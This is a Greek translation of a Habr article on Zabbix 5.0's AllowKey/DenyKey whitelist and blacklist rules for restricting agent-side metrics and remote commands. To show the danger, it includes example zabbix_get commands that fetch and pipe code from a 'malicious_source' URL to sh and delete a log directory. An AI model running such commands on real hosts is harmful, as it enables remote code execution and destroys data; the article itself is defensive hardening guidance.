Υποστήριξη μαύρης λίστας και λευκής λίστας για μετρήσεις από πλευράς αντιπροσώπου στο Zabbix 5.0

Υποστήριξη μαύρης λίστας και λευκής λίστας για μετρήσεις από πλευράς αντιπροσώπου στο Zabbix 5.0

Υποστήριξη μαύρης λίστας και λευκής λίστας για μετρήσεις από πλευράς αντιπροσώπου

Tikhon Uskov, Integration Engineer, Zabbix

Θέματα ασφάλειας δεδομένων

Το Zabbix 5.0 έχει μια νέα δυνατότητα που σας επιτρέπει να βελτιώσετε την ασφάλεια σε συστήματα χρησιμοποιώντας Zabbix Agent και αντικαθιστά την παλιά παράμετρο Ενεργοποίηση RemoteCommands.

Οι βελτιώσεις στην ασφάλεια συστημάτων που βασίζονται σε πράκτορες πηγάζουν από το γεγονός ότι ένας πράκτορας μπορεί να εκτελέσει μεγάλο αριθμό δυνητικά επικίνδυνων ενεργειών.

  • Ο πράκτορας μπορεί να συλλέξει σχεδόν οποιαδήποτε πληροφορία, συμπεριλαμβανομένων εμπιστευτικών ή δυνητικά επικίνδυνων πληροφοριών, από αρχεία διαμόρφωσης, αρχεία καταγραφής, αρχεία κωδικών πρόσβασης ή οποιαδήποτε άλλα αρχεία.

Για παράδειγμα, χρησιμοποιώντας το βοηθητικό πρόγραμμα zabbix_get μπορείτε να αποκτήσετε πρόσβαση σε μια λίστα χρηστών, τους οικιακούς καταλόγους τους, αρχεία κωδικών πρόσβασης κ.λπ.

Υποστήριξη μαύρης λίστας και λευκής λίστας για μετρήσεις από πλευράς αντιπροσώπου στο Zabbix 5.0

Πρόσβαση σε δεδομένα χρησιμοποιώντας το βοηθητικό πρόγραμμα zabbix_get

Σημείωση. Τα δεδομένα μπορούν να ανακτηθούν μόνο εάν ο πράκτορας έχει δικαιώματα ανάγνωσης στο αντίστοιχο αρχείο. Αλλά, για παράδειγμα, το αρχείο /etc/passwd/ ευανάγνωστη από όλους τους χρήστες.

  • Ο πράκτορας μπορεί επίσης να εκτελέσει δυνητικά επικίνδυνες εντολές. Για παράδειγμα, κλειδί *system.run[Το ]** σάς επιτρέπει να εκτελείτε οποιεσδήποτε απομακρυσμένες εντολές σε κόμβους δικτύου, συμπεριλαμβανομένων των σεναρίων εκτέλεσης από τη διεπαφή ιστού Zabbix που εκτελούν επίσης εντολές από την πλευρά του πράκτορα.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Στο Linux, ο πράκτορας εκτελείται από προεπιλογή χωρίς δικαιώματα root, ενώ στα Windows εκτελείται ως υπηρεσία ως System και έχει απεριόριστη πρόσβαση στο σύστημα αρχείων. Αντίστοιχα, εάν δεν πραγματοποιηθούν αλλαγές στις παραμέτρους του Zabbix Agent μετά την εγκατάσταση, ο πράκτορας έχει πρόσβαση στο μητρώο, το σύστημα αρχείων και μπορεί να εκτελέσει ερωτήματα WMI.

Σε παλαιότερες εκδόσεις η παράμετρος EnableRemoteCommands=0 επιτρέπεται μόνο η απενεργοποίηση μετρήσεων με το κλειδί *system.run[]** και εκτελούνται σενάρια από τη διεπαφή ιστού, αλλά δεν υπήρχε τρόπος να περιοριστεί η πρόσβαση σε μεμονωμένα αρχεία, να επιτραπεί ή να απενεργοποιηθεί μεμονωμένα κλειδιά που είχαν εγκατασταθεί με τον παράγοντα ή να περιοριστεί η χρήση μεμονωμένων παραμέτρων.

Υποστήριξη μαύρης λίστας και λευκής λίστας για μετρήσεις από πλευράς αντιπροσώπου στο Zabbix 5.0

Χρήση της παραμέτρου EnableRemoteCommand σε προηγούμενες εκδόσεις του Zabbix

AllowKey/DenyKey

Το Zabbix 5.0 συμβάλλει στην προστασία από τέτοια μη εξουσιοδοτημένη πρόσβαση παρέχοντας λίστες επιτρεπόμενων και μαύρων λιστών για την αποδοχή και την άρνηση μετρήσεων από την πλευρά του πράκτορα.

Στο Zabbix 5.0 όλα τα κλειδιά, συμπεριλαμβανομένων *system.run[Τα ]** είναι ενεργοποιημένα και έχουν προστεθεί δύο νέες επιλογές διαμόρφωσης πράκτορα:

AllowKey= — επιτρεπόμενοι έλεγχοι·

DenyKey= — απαγορευμένοι έλεγχοι·

όπου είναι ένα μοτίβο ονόματος κλειδιού με παραμέτρους που χρησιμοποιεί μεταχαρακτήρες (*).

Τα κλειδιά AllowKey και DenyKey σάς επιτρέπουν να επιτρέπετε ή να απορρίπτετε μεμονωμένες μετρήσεις με βάση ένα συγκεκριμένο μοτίβο. Σε αντίθεση με άλλες παραμέτρους διαμόρφωσης, ο αριθμός των παραμέτρων AllowKey/DenyKey δεν είναι περιορισμένος. Αυτό σας επιτρέπει να ορίσετε με σαφήνεια τι ακριβώς μπορεί να κάνει ο agent στο σύστημα δημιουργώντας ένα δέντρο επιταγών - εκτελέσιμα κλειδιά, όπου η σειρά με την οποία γράφτηκαν παίζει πολύ σημαντικό ρόλο.

Ακολουθία κανόνων

Οι κανόνες ελέγχονται με τη σειρά με την οποία εισάγονται στο αρχείο διαμόρφωσης. Το κλειδί ελέγχεται σύμφωνα με τους κανόνες πριν από την πρώτη αντιστοίχιση και μόλις το κλειδί του στοιχείου δεδομένων ταιριάζει με το μοτίβο, επιτρέπεται ή απορρίπτεται. Μετά από αυτό, ο έλεγχος κανόνων σταματά και τα υπόλοιπα κλειδιά αγνοούνται.

Επομένως, εάν ένα στοιχείο ταιριάζει και με έναν κανόνα άδειας και με έναν κανόνα άρνησης, το αποτέλεσμα θα εξαρτηθεί από το ποιος κανόνας είναι πρώτος στο αρχείο διαμόρφωσης.

Υποστήριξη μαύρης λίστας και λευκής λίστας για μετρήσεις από πλευράς αντιπροσώπου στο Zabbix 5.0

2 διαφορετικοί κανόνες με το ίδιο μοτίβο και ένα κλειδί vfs.file.size[/tmp/file]

Η σειρά χρήσης των κλειδιών AllowKey/DenyKey:

  1. ακριβείς κανόνες,
  2. γενικοί κανόνες,
  3. απαγορευτικό κανόνα.

Για παράδειγμα, εάν χρειάζεστε πρόσβαση σε αρχεία σε έναν συγκεκριμένο φάκελο, πρέπει πρώτα να επιτρέψετε την πρόσβαση σε αυτά και, στη συνέχεια, να αρνηθείτε οτιδήποτε άλλο δεν εμπίπτει στα καθιερωμένα δικαιώματα. Εάν χρησιμοποιηθεί πρώτα ο κανόνας άρνησης, η πρόσβαση στο φάκελο θα απαγορεύεται.

Υποστήριξη μαύρης λίστας και λευκής λίστας για μετρήσεις από πλευράς αντιπροσώπου στο Zabbix 5.0

Σωστή σειρά

Εάν πρέπει να επιτρέψετε την εκτέλεση 2 βοηθητικών προγραμμάτων μέσω *system.run[]** και πρώτα θα καθοριστεί ο κανόνας άρνησης, τα βοηθητικά προγράμματα δεν θα εκκινηθούν, επειδή το πρώτο μοτίβο θα ταιριάζει πάντα με οποιοδήποτε κλειδί και οι επόμενοι κανόνες θα αγνοούνται.

Υποστήριξη μαύρης λίστας και λευκής λίστας για μετρήσεις από πλευράς αντιπροσώπου στο Zabbix 5.0

Λανθασμένη σειρά

Μοτίβα

Θεμελιωδών κανόνων

Το μοτίβο είναι μια έκφραση με χαρακτήρες μπαλαντέρ. Ο μεταχαρακτήρας (*) ταιριάζει με οποιονδήποτε αριθμό χαρακτήρων σε μια συγκεκριμένη θέση. Οι μεταχαρακτήρες μπορούν να χρησιμοποιηθούν τόσο στο όνομα του κλειδιού όσο και στις παραμέτρους. Για παράδειγμα, μπορείτε να ορίσετε αυστηρά την πρώτη παράμετρο με κείμενο, και προσδιορίστε το επόμενο ως μπαλαντέρ.

Οι παράμετροι πρέπει να περικλείονται σε αγκύλες [].

  • system.run[* - λάθος
  • vfs.file*.txt] - λάθος
  • vfs.file.*[*] - σωστά

Παραδείγματα χρήσης μπαλαντέρ.

  1. Στο όνομα κλειδιού και στην παράμετρο. Σε αυτήν την περίπτωση, το κλειδί δεν αντιστοιχεί σε ένα παρόμοιο κλειδί που δεν περιέχει παράμετρο, καθώς στο μοτίβο υποδείξαμε ότι θέλουμε να λάβουμε μια συγκεκριμένη κατάληξη του ονόματος κλειδιού και ένα συγκεκριμένο σύνολο παραμέτρων.
  2. Εάν το μοτίβο δεν χρησιμοποιεί αγκύλες, το μοτίβο επιτρέπει όλα τα κλειδιά που δεν περιέχουν παραμέτρους και απορρίπτει όλα τα κλειδιά που περιέχουν την καθορισμένη παράμετρο.
  3. Εάν το κλειδί είναι γραμμένο πλήρως και οι παράμετροι έχουν καθοριστεί ως μπαλαντέρ, θα ταιριάζει με οποιοδήποτε παρόμοιο κλειδί με οποιεσδήποτε παραμέτρους και δεν θα ταιριάζει με το κλειδί χωρίς αγκύλες, δηλαδή θα επιτρέπεται ή θα απορριφθεί.

Υποστήριξη μαύρης λίστας και λευκής λίστας για μετρήσεις από πλευράς αντιπροσώπου στο Zabbix 5.0

Κανόνες συμπλήρωσης παραμέτρων.

  • Εάν πρόκειται να χρησιμοποιηθεί ένα κλειδί με παραμέτρους, οι παράμετροι πρέπει να καθοριστούν στο αρχείο διαμόρφωσης. Οι παράμετροι πρέπει να προσδιορίζονται ως μεταχαρακτήρας. Είναι απαραίτητο να αρνηθείτε προσεκτικά την πρόσβαση σε οποιοδήποτε αρχείο και να λάβετε υπόψη ποιες πληροφορίες μπορεί να παρέχει η μέτρηση σε διαφορετικές ορθογραφίες - με και χωρίς παραμέτρους.

Υποστήριξη μαύρης λίστας και λευκής λίστας για μετρήσεις από πλευράς αντιπροσώπου στο Zabbix 5.0

Δυνατότητες εγγραφής πλήκτρων με παραμέτρους

  • Εάν ένα κλειδί έχει καθοριστεί με παραμέτρους, αλλά οι παράμετροι είναι προαιρετικές και καθορίζονται ως μεταχαρακτήρας, θα επιλυθεί ένα κλειδί χωρίς παραμέτρους. Για παράδειγμα, εάν θέλετε να απενεργοποιήσετε τη λήψη πληροφοριών σχετικά με το φορτίο στη CPU και να καθορίσετε ότι το κλειδί system.cpu.load[*] θα πρέπει να είναι απενεργοποιημένο, μην ξεχνάτε ότι το κλειδί χωρίς παραμέτρους θα επιστρέψει τη μέση τιμή φόρτωσης.

Υποστήριξη μαύρης λίστας και λευκής λίστας για μετρήσεις από πλευράς αντιπροσώπου στο Zabbix 5.0

Κανόνες συμπλήρωσης παραμέτρων

Σημειώσεις

προσαρμογή

  • Ορισμένοι κανόνες δεν μπορούν να αλλάξουν από τον χρήστη, για παράδειγμα, κανόνες εντοπισμού ή κανόνες αυτόματης εγγραφής αντιπροσώπου. Οι κανόνες AllowKey/DenyKey δεν επηρεάζουν τις ακόλουθες παραμέτρους:
    - HostnameItem
    - HostMetadataItem
    - HostInterfaceItem

Σημείωση. Εάν ένας διαχειριστής απενεργοποιήσει ένα κλειδί, όταν ερωτάται, το Zabbix δεν παρέχει πληροφορίες σχετικά με το γιατί η μέτρηση ή το κλειδί εμπίπτουν στην κατηγορία 'ΔΕΝ ΥΠΟΣΤΗΡΙΖΕΤΑΙ'. Πληροφορίες σχετικά με τις απαγορεύσεις για την εκτέλεση απομακρυσμένων εντολών δεν εμφανίζονται επίσης στα αρχεία καταγραφής του πράκτορα. Αυτό συμβαίνει για λόγους ασφαλείας, αλλά μπορεί να περιπλέξει τον εντοπισμό σφαλμάτων εάν οι μετρήσεις εμπίπτουν σε μια μη υποστηριζόμενη κατηγορία για κάποιο λόγο.

  • Δεν πρέπει να βασίζεστε σε κάποια συγκεκριμένη σειρά για τη σύνδεση εξωτερικών αρχείων διαμόρφωσης (για παράδειγμα, με αλφαβητική σειρά).

Βοηθητικά προγράμματα γραμμής εντολών

Αφού ρυθμίσετε τους κανόνες, πρέπει να βεβαιωθείτε ότι όλα έχουν ρυθμιστεί σωστά.

Μπορείτε να χρησιμοποιήσετε μία από τις τρεις επιλογές:

  • Προσθέστε μια μέτρηση στο Zabbix.
  • Δοκιμή με zabbix_agentd. Πράκτορας Zabbix με επιλογή -εκτύπωση (-p) εμφανίζει όλα τα πλήκτρα (τα οποία επιτρέπονται από προεπιλογή) εκτός από αυτά που δεν επιτρέπονται από τη διαμόρφωση. Και με την επιλογή -τεστ (-t) για ένα απαγορευμένο κλειδί θα επιστρέψειΜη υποστηριζόμενο κλειδί στοιχείου'.
  • Δοκιμή με zabbix_get. Χρησιμότητα zabbix_get με επιλογή -k θα επιστρέψει 'ZBX_NOTSUPPORTED: Άγνωστη μέτρηση'.

Επιτρέψτε ή αρνηθείτε

Μπορείτε να αρνηθείτε την πρόσβαση σε ένα αρχείο και να επαληθεύσετε, για παράδειγμα, χρησιμοποιώντας το βοηθητικό πρόγραμμα zabbix_getότι δεν επιτρέπεται η πρόσβαση στο αρχείο.

Υποστήριξη μαύρης λίστας και λευκής λίστας για μετρήσεις από πλευράς αντιπροσώπου στο Zabbix 5.0

**

Σημείωση. Τα εισαγωγικά στην παράμετρο αγνοούνται.

Σε αυτήν την περίπτωση, η πρόσβαση σε ένα τέτοιο αρχείο μπορεί να επιτρέπεται μέσω διαφορετικής διαδρομής. Για παράδειγμα, εάν ένας συμβολικός σύνδεσμος οδηγεί σε αυτό.

Υποστήριξη μαύρης λίστας και λευκής λίστας για μετρήσεις από πλευράς αντιπροσώπου στο Zabbix 5.0

Συνιστάται να ελέγξετε διάφορες επιλογές για την εφαρμογή των καθορισμένων κανόνων και επίσης να λάβετε υπόψη τις δυνατότητες παράκαμψης των απαγορεύσεων.

Ερωτήσεις και Απαντήσεις

Ερώτηση. Γιατί επιλέχθηκε ένα τόσο περίπλοκο μοτίβο με τη δική του γλώσσα για να περιγράψει κανόνες, άδειες και απαγορεύσεις; Γιατί δεν ήταν δυνατό να χρησιμοποιηθούν, για παράδειγμα, οι κανονικές εκφράσεις που χρησιμοποιεί το Zabbix;

Απάντηση. Αυτό είναι ένα ζήτημα απόδοσης regex, καθώς συνήθως υπάρχει μόνο ένας πράκτορας και ελέγχει έναν τεράστιο αριθμό μετρήσεων. Το Regex είναι μια αρκετά βαριά λειτουργία και δεν μπορούμε να ελέγξουμε χιλιάδες μετρήσεις με αυτόν τον τρόπο. Μπαλαντέρ - μια καθολική, ευρέως χρησιμοποιούμενη και απλή λύση.

Ερώτηση. Τα αρχεία Συμπερίληψης δεν περιλαμβάνονται με αλφαβητική σειρά;

Απάντηση. Από όσο γνωρίζω, είναι πρακτικά αδύνατο να προβλεφθεί η σειρά με την οποία θα εφαρμοστούν οι κανόνες εάν διαδώσετε τους κανόνες σε διαφορετικά αρχεία. Συνιστώ τη συλλογή όλων των κανόνων AllowKey/DenyKey σε ένα αρχείο Include, επειδή αλληλεπιδρούν μεταξύ τους και να συμπεριλάβετε αυτό το αρχείο.

Ερώτηση. Στο Zabbix 5.0 η επιλογή "EnableRemoteCommands=Λείπει από το αρχείο διαμόρφωσης και μόνο το AllowKey/DenyKey είναι διαθέσιμα;

Απάντηση. ναι, σωστά.

Спасибо за внимание!

Πηγή: www.habr.com

Προσθέστε ένα σχόλιο